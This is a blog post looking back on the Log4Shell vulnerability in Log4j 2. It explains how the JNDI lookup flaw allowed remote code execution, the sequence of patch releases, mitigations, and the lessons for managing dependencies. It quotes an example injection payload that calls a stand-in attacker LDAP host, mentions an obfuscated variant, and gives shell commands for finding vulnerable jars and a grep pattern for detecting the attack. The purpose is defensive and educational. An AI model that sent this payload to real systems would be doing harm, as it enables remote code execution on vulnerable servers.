I remember the afternoon of December 9, 2021 mostly as a lot of people asking the same question in chat: do we even use log4j? Nobody knew. The honest answer at most companies was “probably, somewhere, transitively,” and finding out took days.
The bug is CVE-2021-44228, reported to Apache by Chen Zhaojun of Alibaba Cloud’s security team. It affects Log4j 2 from 2.0-beta9 through 2.14.1, and it scored a CVSS 10.0. The mechanics are almost embarrassingly simple, which is why it is worth understanding properly rather than as a slogan.
What the bug actually was

The diagram above traces the original attack path step by step and marks where an outbound firewall rule stops it.
Log4j 2 supports lookups, a substitution syntax inside log messages. ${env:HOME} expands to an environment variable, ${date:yyyy-MM-dd} to a date. One of the lookups was jndi, added in 2013, which resolves a name through the Java Naming and Directory Interface. JNDI can talk to LDAP, RMI and DNS servers.
The substitution ran on the formatted message, after your data had been interpolated into it. So this perfectly ordinary and, until then, perfectly recommended line was exploitable:
logger.error("Login failed, user agent: {}", request.getHeader("User-Agent"));
Parameterized logging did not save you. If the header contained ${jndi:ldap://attacker.example/a}, Log4j expanded it, connected to the attacker’s LDAP server, and treated the response as a reference to a Java object. In the original exploitation path, that reference pointed at a remote class file the vulnerable JVM would load and run.
That is remote code execution from a string you logged. Any attacker-controlled value that reached a logger was enough: HTTP headers, usernames, chat messages, a Minecraft chat line, an iPhone’s device name. The first thing attackers did was spray the payload into every header they could think of and wait for a DNS callback.
Why the usual Java defenses only half worked
People pointed out that JDK 8u191 and later set com.sun.jndi.ldap.object.trustURLCodebase to false, which blocks loading classes from a remote codebase over LDAP. True, and it did close the simplest path. But researchers quickly showed that an attacker could instead return a serialized object or a reference to a factory class already on the victim’s classpath, and use known gadget chains from there. Newer JDKs reduced the exposure. They did not fix it.
The other thing that stung was egress. The vulnerable server had to reach out to the attacker’s LDAP or RMI listener. Plenty of production servers can make arbitrary outbound connections. Those that could not were in a much better place that week, and I have since become a bit of a bore about default-deny outbound rules.
The patches took four tries
This part gets forgotten, and it matters for how you run response.
2.15.0 (December 10) disabled JNDI lookups from message content by default, but left a hole in non-default Pattern Layouts that use context lookups. That became CVE-2021-45046, first rated as a denial of service and later raised to remote code execution in some configurations. 2.16.0 removed message lookups entirely and disabled JNDI by default. 2.17.0 fixed uncontrolled recursion in lookups, CVE-2021-45105, a denial of service. 2.17.1 fixed CVE-2021-44832, where an attacker who could modify the logging configuration could get code execution through the JDBC Appender with a JNDI data source.
The Java 7 and Java 6 branches got their own backports (2.12.x and 2.3.x). If your remediation ticket said “upgrade to 2.15.0” and got closed, you were not done.
Interim mitigations, and why I stopped trusting some of them
For a few days the standard advice was to set -Dlog4j2.formatMsgNoLookups=true or the matching environment variable. That flag exists from 2.10 on and did not cover every path, which is part of what CVE-2021-45046 was about. The mitigation that held up best was deleting the class:
zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
You also need to find the jars, including the ones hidden inside fat jars and containers. A first pass:
find / -type f \( -name 'log4j-core*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null
unzip -l app.jar | grep -i 'log4j/core/lookup/JndiLookup'
Searching logs for the attack string works, but attackers used obfuscation like ${${lower:j}ndi:...} almost immediately, so a naive grep for jndi undercounts. A looser filter:
grep -rEi '\$\{.{0,60}j.{0,60}n.{0,60}d.{0,60}i.{0,60}:' /var/log/ 2>/dev/null
Expect false positives and treat it as a rough filter, not a verdict. Outbound LDAP and RMI connections from application servers, and unexpected DNS lookups to domains you do not own, were the more reliable signal.
What it taught defenders about dependency risk
An inventory is a prerequisite and not a project for later. The teams that answered “are we affected” in an hour had a software bill of materials, or at least a way to query which artifacts were deployed where. Everyone else grepped filesystems. I have written before about what SBOMs are good for, and this incident is the cleanest example: they are good for exactly this question.
A feature nobody asked for was the problem. Message lookups from log content were a convenience that almost nobody used on purpose, and the JNDI lookup was powerful enough to load code. The lesson I take for my own code is to ask what an interpolation or expansion feature can reach, and to default it off. Log4j eventually did that.
The maintainers were a small group of volunteers who spent that December handling a CVSS 10 with the whole industry watching. Most of the companies that scrambled had never contributed a dollar or a patch. I do not have a tidy fix for that. I do think “we depend on it in production” should come with some way of tracking its health, even if that is just knowing who maintains it and whether they are funded.
Severity ratings and patch versions also lie by omission. You track a CVE family, not a single ID. After Log4Shell I stopped accepting “patched” without a version number and a way to verify it on the running system.
The bug went into CISA’s Known Exploited Vulnerabilities catalog, and old Log4j keeps turning up inside vendor appliances you cannot patch yourself. Those need a vendor ticket and an egress rule, not a jar replacement.

Leave a Reply
You must be logged in to post a comment.